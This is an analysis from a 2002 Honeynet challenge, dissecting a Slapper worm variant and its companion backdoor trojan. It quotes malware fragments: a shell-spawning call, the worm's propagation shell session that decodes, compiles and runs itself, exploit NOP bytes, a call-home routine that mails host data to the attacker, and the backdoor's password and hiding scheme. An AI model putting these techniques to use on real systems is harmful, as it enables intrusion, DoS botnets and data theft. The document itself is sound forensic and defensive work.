© 2002, Javier Fernández-Sanguino Peña <jfernandez AT germinus DOT com> Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
First of all we download the file from honeynet.org and check the Md5sum:
$ wget http://www.honeynet.org/scans/scan25/.unlock $ md5sum .unlock a03b5be9264651ab30f2223592befb42 .unlock
To check the SHA1 hash we use the 'openssl' program:
$ openssl dgst -sha1 .unlock SHA1(.unlock)= 4b018cdfdbcf71ddaa789e8ecc9ed7700660021a
Which, again is the same as the one provided in the honeynet.project webpage. No armored GPG/PGP key to check if we are downloading the files from a trojaned server yet but we'll cross our fingers (and won't execute the code this time)
To answer Q1 we use the 'file' tool
$ file .unlock .unlock: gzip compressed data, deflated, last modified: Fri Sep 20 12:59:04 2002, os: Unix
So we uncompress it and check it again:
$ cp .unlock compressed.gz $ gzip -d compressed.gz $ file compressed compressed: GNU tar archive
We have thus, a tar.gz file. In order to derive the date the file was generated we can extract its contents (which would preserve it's timestamp)
$ tar -vtf .unlock -rw-r--r-- root/wheel 70981 2002-09-20 15:28:11 .unlock.c -rw-r--r-- root/wheel 2792 2002-09-19 23:57:48 .update.c $ mkdir contents $ cd contents $ tar -zxf ../.unlock $ ls -la total 96 drwxr-xr-x 2 jfernand jfernand 8192 nov 11 16:50 . drwxr-xr-x 3 jfernand jfernand 8192 nov 27 00:04 .. -rwxr-xr-x 1 jfernand jfernand 70981 sep 20 15:28 .unlock.c -rwxr-xr-x 1 jfernand jfernand 2792 sep 19 23:57 .update.c
So the date of the files suggest the tar.gz was created september this year. To probe further we can ask honeynets' web server to now the date the tar.gz file itself was last modified. The timestamp should be conserved after the download, but just in case:
$ telnet www.honeynet.org 80 Trying 63.107.222.112... Connected to 63.107.222.112. Escape character is '^]'. HEAD /scans/scan25/.unlock HTTP/1.0 HTTP/1.0 200 OK Date: Tue, 26 Nov 2002 22:59:09 GMT Server: Apache/1.3.27 (Unix) mod_ssl/2.8.12 OpenSSL/0.9.7-beta3 Last-Modified: Sun, 22 Sep 2002 17:06:18 GMT ETag: "f1bba-4635-3d8df88a" Accept-Ranges: bytes Content-Length: 17973 Content-Type: text/plain Age: 244
So we can be pretty sure that the tar.gz was created the third weekend of this year's september. More precisely september 22th. With the contents being created some days before.
A quick look at the .unlock.c and .update.c show it's source code in C for (at least the comments suggest it) a Denial of service tool (.unlock.c) and what looks at first glance as a trojan (.update.c) offering a shell. The following code gives the second one up:
execl("/bin/sh","sh -i",(char *)0);
But we'll look into it further on.
The comments indicate an author for this tool (worm), if we try searching for meaningful patterns of the source code (for example for the name given for the tool in the source code: Peer to Peer UDP Distributed Denial of Servive (PUD) at Google we are able to retrieve portions of source code posted by others individuals:
After downloading full copies of the source code in reported versions of the worm (named Slapper) and comparing it against the source code we have retrieved for the challenge, we can see that there are some relevant changes (full changes in the diff-worms.txt file). Including:
$ diff -bur bugtraq.c.txt .unlock.c (snip) -#define VERSION 12092002 +#define VERSION 20092002 +////////////////////////////////////////////////////////////////////////////////////// +// aion // +////////////////////////////////////////////////////////////////////////////////////// +#define MAILSRV "freemail.ukr.net" +#define MAILTO "aion@ukr.net" +#define PSNAME "httpd " +#define WORMSRC "/tmp/.unlock" +#define UUHEAD "begin 655 .unlock\n" +
Note: the -b option is useful since the code seems to have been re-indentend in some places and introduces spurious white space
The comments in the changed source code and this section suggest that somebody nicknamed aion made further changes to the source code eight days after it was released (the VERSION definition was changed). One of the most significat changes is that the worm will mail information of the compromised host back to an account probably controlled by the attacker.
We can then answer Q2 since we have determined both the possible main author of the worm (contem@efnet) and a new coder (aion@ukr.net) that seems to have added new code to the worm. This last author is probably the write of the '.update.c' code since this was not part of the original worm.
Note that the main author seems to have been been the author of other known trojans (such as kaiten). Whileas 'aion' itself does not show up on other similar work.
In any case, the worm variant we are analysing is well known already, and has been tagged Slapper.C. See for example:
Note: I'm not related to any of them in any way
All this knowledge makes it pretty easy to answer most of the questions of the challenge. Which makes it slightly less fun. A word of caution, though, some of the information published on the Internet is not completely true (as we'll see below) and some of this information sources are contradictory in specific details of the worm's behaviour.
In order to answer Q3 we have to go through the
source code. We are looking for information in order to se which
process name is used by the worm. In the #define
code
'PSNAME' stands out. PSNAME probably stands for process
name (ps
is the process status report tool), so it's
worth searching for this in the source code.
It turns out that these changes to have the worm disguise as another process are part of the code that has been inserted by 'aion' in this worm variant.
How does it work? The main() function, after some initialisation of variables and memory reservation forks itself and sends an e-mail (this is also only in this variant) 'calling home' (we'll see what for in order to answer Q7). Once this is done the following code shows up:
for(a=0;argv[0][a]!=0;a++) argv[0][a]=0; for(a=0;argv[1][a]!=0;a++) argv[1][a]=0; strcpy(argv[0],PSNAME);
That is, all the command line arguments are removed (they were used
previously) and the argument 0 (the program name) is changed to 'PSNAME'.
An analysis of the .update.c
show a similar behaviour:
#define PSNAME "update " // what copy to argv[0] (...) strcpy(argv[0],PSNAME);
As a matter of fact it looks copy and pasted from one code to
another (probably from the .update.c
to the
.unlock.c
source code).
The code itself is pretty slick since the command line argument (we'll see later how the worm calls a replicated worm) is necessary for the worm to run. Otherwise it will try to trick whomever is running it to believe it's not a binary program:
if (argc <= 1) { printf("%s: Exec format error. Binary file not executable.\n",argv[0]); return 0; }
It expects an IP address (at least) as argument, on a quick analysis this looks like it is used to startup the DoS network since an UDP packet is sent to this IP address. For each command line argument a call to relay->lowsend->audp_send is done (to a #defined PORT 4156). This behaviour is described in the comments on the header of the code.
Skipping some more code we find a very interesting function that is called on a list of possible 'clients': exploit(). This 'clients' are generated randomly. The random IP addresses are created based on an algorithm that generates numbers from 1 to 255 using the rand() function. The first byte from the IP address ('a') is limited, however to some specific networks (the 'classes' definition) so it will not try to scan special networks (such as multicast or experimental reserved IP address spaces).
Q5 asks which port is scanned before
infection. Well, you don't have to dig deep to see the
#define
of SCANPORT, which is set to 80. This definition
is used by the call to atcp_sync_connect() which is done just
after randomly creating an IP address. This function does not check itself for the open port, it just creates a structure to be used in the next loop:
for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) { p=atcp_sync_check(&clients[n]); if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned long)clients[n].ext) >= 5) atcp_close(&clients[n]);
So the function in charge of checking the port is atcp_sync_check() which just tries to connect to the remote port:
if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) == 0 || errno == EISCONN) { inst->error=ASUCCESS; return (ASUCCESS); }
Curiously the exploit is targeted towards SSL servers (port 443) but port scans in port 80. This worm will thus, scan on port 80 and, if the port is open, then port 443 is attacked. It will not be able to attack servers that are running exclusively an SSL web server (without a web server running in port 80). It will also try to attack servers which are only running a web server but not an SSL server.
How is the attack done? Through the exploit() function.
How does exploit() work? We need to investigate this in order to answer some questions (Q4 and Q6).
Exploit() uses an Apache SSL exploit to propagate the worm to other servers. The exploit code includes the establishment of a valid SSL connnection (that's why the code needs -lcrypto to compile as we'll see later, since it uses OpenSSL's library calls). Sends the exploit (varies depending on the architecture, which is selected from the server response to a connection to the 80 port with the GetAddress() function) and then sends, if the error doesn't answer with an error, along with the code some new shell code created with the sh() function.
Some relevant references:
The "supported" architectures are defined in an struct called 'architectures' and include a wide variety of Linux distributions.
The name given to the variable is misleading since the worm only propagates through the x86 processor architecture. How can we know this? Just by looking at the overflow code included in 'overwrite_next_chunk':
"\x10\x00\x00\x00" "\x10\x00\x00\x00" "\xeb\x0a\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90"
After analysing snort's rules for shellcodes, we can see that the 0x90 strings are the NOOP code for the x86 architecture. This answers Q6, by the way.
This could also be infered or by reasoning that the only common arquitecture shared by all these Linux distributions is i386. The 'architecture' decision is only based on the Apache version in use, not on the real processor architecture (As a matter of fact the architecture information is not leaked in the server string). It also makes a lot of sense to attack only i386 since most distributions are targeted to the PC market and only a few of them (notably Debian, RedHat and SuSE) support non-i386 architectures.
The sh() function holds the propagation code for the worm itself and it is very useful (and also necessary to answer Q4) to see how it works. Let's see what shell code is used:
---------------------------- worm session ------------------------------ export TERM=xterm export HOME=/tmp export HISTFILE=/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin exec bash -i rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c /tmp/httpd /tmp/update /tmp/.unlock cat > /tmp/.unlock.uu << __eof__ ...... encoded information .... __eof__ uudecode -o /tmp/.unlock /tmp/.unlock.uu tar xzf /tmp/.unlock -C /tmp/ gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto gcc -o /tmp/update /tmp/.update.c /tmp/httpd _IP_ADDRESS_OF_THE_SERVER_SENDING_THE_WORM /tmp/update (the program waits 3 seconds) rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c /tmp/httpd /tmp/update exit ---------------- end of worm session -------------------------------------
This shellcode is sent to the SSL server just after the exploit and is directly sent to the socket file descriptor in the sh() function.
So we can see that the worm will:
The call to zhdr() is quite curious. The first three bytes of the worm source (the tar.gz file) are changed into 0x00 0x00 0x00 when the worm starts up and changed only to 0x1f 0x8b 0x08 when the code is transmitted to infect a machine. Why this?
On closer look we can see that 0x1f is in fact 037 in octal and 0x8b is octal 213. If we check the magic file for the 'file' command we see that it belongs to the 'gzip compressed data' header. The worm is in fact trying to hide itself. if '/tmp/.unlock' is inspected by an administrator with the file command he won't see that it's a gzip file in an infected machine, he will only see it as data, and probably consider it harmless at first thought. It might trick other programs that are analysing /tmp for suspicious activity.
It is important to state that the worm wouldn't work if:
In order to answer Q7 we have to take a look at the mailme() function. This function is used by the worm when it starts up. The name says is most obvious and a code analysis shows that this function will try to connect to the mail service at freemail.ukr.net [1] to send information of the compromised host.
The mail conversation would probably proceed as follows (lines in brackets are the server's response)
[220 freemail.ukr.net] HELO test [250 XXXXX Hello] MAIL FROM: test@microsoft.com [250ok] RCPT TO: aion@ukr.net [250 ok] DATA [354 Enter message, ending with "." on a line by itself] hostid: XXXXXX hostname: XXXXX att_from: XXXXXX . [250 ok] quit [221 closing]
The relevant code for the XXXX information (which is host-dependant) is:
int mailme(char *sip) { (...) gethostname(buffer,128); (...) sprintf(cmdbuf," hostid: %d \r\n" " hostname: %s \r\n" " att_from: %s \r\n",gethostid(),buffer,sip);
So we can see that hostid information is retrieved through gethostid(), hostname is obtained through a call to gethostname() and sip is in fact the call to mailme() which is argv[1]. That is, as we showed before, the IP address of the host that is propagating the worm.
Thus, the attacker has (if the outgoing connection succeeds) both the information of the name of the host, it's IP address (since that information will be logged probably in the mail server), a unique identifier, and the IP address of the previously infected host.
What is this information useful for? Since the attacker can retrieve information to hosts through the peer to peer network it does not seem very useful at first sight. However, what if the host cannot communicate with the peer to peer network due to ingress/egress filtering? Let's jump ahead and answer Q10 and Q11.
It looks like 'aion' opened another possibility for remote explotation of the infected host in case the peer to peer network does not work. Note also that the peer to peer network is somewhat limited on to what will the trojans do, it is not easy to run commands in the infected host (we'll see this later).
The information that uniquely identifies compromised hosts, however, can be used directly thanks to the 'update' program. An examination of its source code shows its a trojan offering a remote shell on port 1052 to whomever connects with the proper password.
However, instead of being always open it binds/unbinds the server spending only a small amount of time listening for incoming connections (see answer to question 11). This makes it more difficult to be detected both from a remote server (that port scans the internal network for changes in open services) and locally (using 'netstat' or 'lsof' for example). Thus, it might be difficult to detect for some host based IDS. Note that if the IDS is running at the kernel-space (not on user space) it might still be detected. Thus, if the compromise host had the LIDS patch installed in it this anomalous behavior might be easily detected.
A little more analysis is needed on .unlock.c
source
code in order to answer the last questions (Q8 and Q9).
After infecting other hosts randomly (contacting to as many as 256 hosts) the worm will start answering packets from the Peer to Peer network. This is done by setting up a server through the audp_listen function. The server is started almost inmediately after running the worm, but messages are not processed until the worm has tried to propagate. The relevant portion of the code is:
if (audp_listen(&udpserver,PORT) != 0) { printf("Error: %s\n",aerror(&udpserver)); return 0; }
The call to audp_listen will make it bind() to PORT which is defined in this worm variant ot 4156 (the original Slapper worm used port 2002).
When messages are received coming from another host connected to the network they are processed by a case statement:
(...) if (udpserver.len >= sizeof(struct header)) { switch(tmp->tag) { case 0x20: { // Info (...)
There are several functionalities built in the worm provided to other hosts than send (or relay) messages through this network. The 'case' statement that starts on line 2034 and ends on line 2497 of the C code and includes several commands:
$ grep case .unlock.c (... some output omitted....) case 0x20: { // Info case 0x21: { // Open a bounce case 0x22: { // Close a bounce case 0x23: { // Send a message to a bounce case 0x24: { // Run a command case 0x25: { case 0x26: { // Route case 0x27: { case 0x28: { // List case 0x29: { // Udp flood case 0x2A: { // Tcp flood case 0x2B: { // IPv6 Tcp flood case 0x2C: { // Dns flood case 0x2D: { // Email scan case 0x70: { // Incomming client case 0x71: { // Receive the list case 0x72: { // Send the list case 0x73: { // Get my IP case 0x74: { // Transmit their IP case 0x41: // --| case 0x42: // | case 0x43: // | case 0x44: // |---> Relay to client case 0x45: // | case 0x46: // | case 0x47: { // --|
Command codes are transmitted in the first byte of the UPD message (the 'tag' field of the header struct). Some commands are used to send information from/to the peer to peer network, others do nothing (0x25 and 0x27). However, we can see some which are only used for Denial of service attacks:
These denial of service attacks commands are received along with the target's IP address, port (except for the DNS which is hardcoded to 53, in either one a value of 0 means 'any port') and time the attack will be sustained. They all behave similarly:
Extract the target information from the received message Initialise a time variable Fork () Children -> Create the socket definition that is going to be used for the attack Children ->Always { Children -> Children -> Create a socket and connect to the remote server Children -> If we have made 50 connection attempts Children -> Check the current time to see if we have attacked for more than the Children -> defined time Children -> exit() if we have Children -> Increase the connections count Children ->} Children ->Exit
Note: The fork() call is not that evident since it's done in the mfork() function that is called by waitforqueues().
It is also interesting to analyse the command used to locally run any system command (0x24). This command uses popen() to spawn the shell and run whatever information is sent in the message. It looks like, however, this might not be too easy to pull since 'aion' has coded a much simpler way to access the host through a remote (interactive) shell. As a matter of fact, it looks like it would be more difficult to investigate the remote compromise system sending messages to the peer to peer network for execution, whileas using an interactive shell might make it more easy to go through the system as a normal user and attempte to elevate privileges.
One of the other commands (0x2D), is also interesting. This command calls StartScan() which, in fact, is a scan of the files on the filesystem in order to retrieve files (under a maximum depth of MAXPATH, that is a 4096 long, directory and not under /proc, /dev or /bin). What is the purpose of this file scanning? I at first thought it would be some kind of virus code, as a matter of fact it is not. If the ScanFile() function is reviewed you can see that it is, as a matter of fact, a function to retrieve e-mail addresses from the file's content. Is curious how this DoS tool is also targeted towards e-mail harvesting in the local filesystem. It seems to be too much work for a spammer, but you never know... (see SoTM 22).
The .unlock file is in fact a tar.gz file. It was generated on september 22th of the year 2002.
Based on the source code the author of the worm is contem@efnet but it has been further modified by 'aion' aion@ukr.net (who is the author of the 'update' tool). The code differences show that 'aion' is probably not a native speaker (comments in the .update.c code are not proper english phrases) the location of the ISP used for the mail server (see below) suggests the attacker might be living in Ukrania.
The file was created on september the 20th 2002. This is consistent with the file stamps we derived previously since the timestamp of the .update.c file (the worm) is precisely september the 20th.
The worm renames itself as "httpd " (note the blank space). Relevant information in the code is:
#define PSNAME "httpd " (...) strcpy(argv[0],PSNAME);
The trojan renames itself as "update " (note the three blank spaces). Relevant sections of the code are:
#define PSNAME "update " // what copy to argv[0] (...) strcpy(argv[0],PSNAME);
This effectively changes the name of the running process into what PSNAME is defined to.
The worm copies itself to the new infected machine uuencoding itself. It does this by executing shell code which includes an uuencoded tar.gz file with includes the C source code itself to compile the trojan. The shell code sends the result of the execution of encode() to the file '.unlock.uu', runs 'uudecode' to extract the tar.gz file, extracts the two C files from the tar.gz file and then compiles them. Three seconds later almost all the files are removed.
The files are created (in the order shown below):
The only file that is kept on the infected macine is /tmp/.unlock. This file is necessary for the worm to spread itself. However, upon execution of the worm, it is "masked" in order to appear an incuspicous data file.
The worm scans port 80 (web service) on remote hosts in order to determine both if there is a web server running and to send an HTTP request (GET / HTTP/1.0) to determine which Linux distribution it is using.
It is noteworthy that this prevents the worm from detecting servers that are running only an SSL web server (port 443). The worm will also attempt to attack web servers that might not have an SSL-enabled web server at all.
The worm tries to exploit a bug in the Apache webserver's SSL code. The shellcode will only run on an x86 processor.
More specifically, the exploited bug is the buffer overflow in the session ID (note that a number of vulnerabilities related to Apache-ssl were reported at the same time)
The targeted architecture can be determined both by the use of NOOPs in the overflow and by the fact that the least common denominator of the targeted distributions is the x86 processor architecture.
The function mailme() is in charge of sending information through email. The information sent includes:
This information is sent to the account: aion@ukr.net (defined in MAILTO).
The worm communicates with other infected worms with the UDP protocol on port 4156. The listener for the peer to peer network is setup by the audp_listen() function.
There are several functionalities built in the worm, all are shown in the 'case' statement that starts on line 2034 and ends on line 2497 of the C code:
The purpose of the .update.c program (compiled and run as 'update') is to provide a remote interactive shell on port 1052. It will only provide this shell if the password provided (in the connection string, first 10 bytes) is aion1981.
The .update.c program does not try to keep open the connection forever. Instead the port is only open for UPTIME seconds. Once UPTIME elapses then the trojan will wait SLEEPTIME before opening the port again.
This prevents it from being detected easily since (in the code's configuration) it will only listen's for 10 secs and waits 5 minutes before creating the server again. This is an effective way to hide the trojan activity since this opened port might be detected by some host-based IDS (such as Tiger) and by some system administrators who manually check the open ports in their systems.
However, the remote attacker ('aion') will be forewarned of the infected machine either by the Peer-to-Peer network (which will provide a list of all hosts connected) or through the e-mail-based 'call-home' system. Thus, he can just launch a program to constantly (once every 10 seconds) attempt to connect to the infected machine and he will eventually access the trojan's open port.
Of course the normal recomendation regarding this worm in most sources on the Internet is to upgrade/patch the Apache webserver properly or to properly apply filtering (ingress/egress) to prevent the communication. However, there are many steps a system administrator could have taken to prevent this trojan from compromising the system and use it as a launch pad: Run services with minimum priviledge in mind.
If the Apache web server user wasn't itself able to:
Then most of what we have described here (if not everything) would have been completely unsuccessful. These restrictions do not necessarily need to be made by the use of chroot() as a matter of fact the first two can be done simply by leveraging the power of UN*x filesystem's user/group permissions.
Proper configuration or POSIX capabilities in the kernel could prevent this too. An proper audit tools (such as LIDS) would have found out the anomaly behaviour of the 'update' trojan even if a host-based IDS in the userspace would have not.
Fortunately, Linux will be providing this Security Modules in the near future as part of the 2.6 release so they will be easier to setup for the average user (no need to patch the kernel any longer). For the one of the adventurer-type, you can use the latest beta version of the Linux kernel (as of this writting it's 2.5.50, source and patches available here) which includes the Linux Security Modules extensions.
As a side note we can check where those freemail.ukr.net reside:
$ whois freemail.ukr.net Whois Server Version 1.3 Domain names in the .com, .net, and .org domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. No match for "FREEMAIL.UKR.NET". >>> Last update of whois database: Fri, 29 Nov 2002 05:04:05 EST <<< The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and Registrars. $ whois ukr.net Whois Server Version 1.3 Domain names in the .com, .net, and .org domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Domain Name: UKR.NET Registrar: NETWORK SOLUTIONS, INC. Whois Server: whois.networksolutions.com Referral URL: http://www.networksolutions.com Name Server: NS1.DONBASS.NET Name Server: NS.UKR.NET.UA Updated Date: 11-dec-2001 >>> Last update of whois database: Fri, 29 Nov 2002 05:04:05 EST <<< The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and Registrars. Found crsnic referral to whois.networksolutions.com. The Data in the VeriSign Registrar WHOIS database is provided by VeriSign for (..) Registrant: UkrNet Ltd (UKR4-DOM) 9, Leontovicha st. null Domain Name: UKR.NET Administrative Contact: Oleynik, Andy (AOS151) andyo@UKR.NET UkrNet ISP 152 Appt, 12/2 House, Mate Zalki Str. Kyiv UA +380 44 4197114 999 999 9999 Technical Contact: UkrNet Network Coordination Center (UN62-ORG) noc@UKR.NET.UA UkrNet Ltd 26 Goloseevskaja St.. Kiev UA +380 44 2358555 Fax- +380442358555 Record expires on 10-Feb-2003. Record created on 10-Feb-1999. Database last updated on 29-Nov-2002 12:27:33 EST. Domain servers in listed order: NS.UKR.NET.UA 212.42.64.7 NS1.DONBASS.NET 195.184.192.18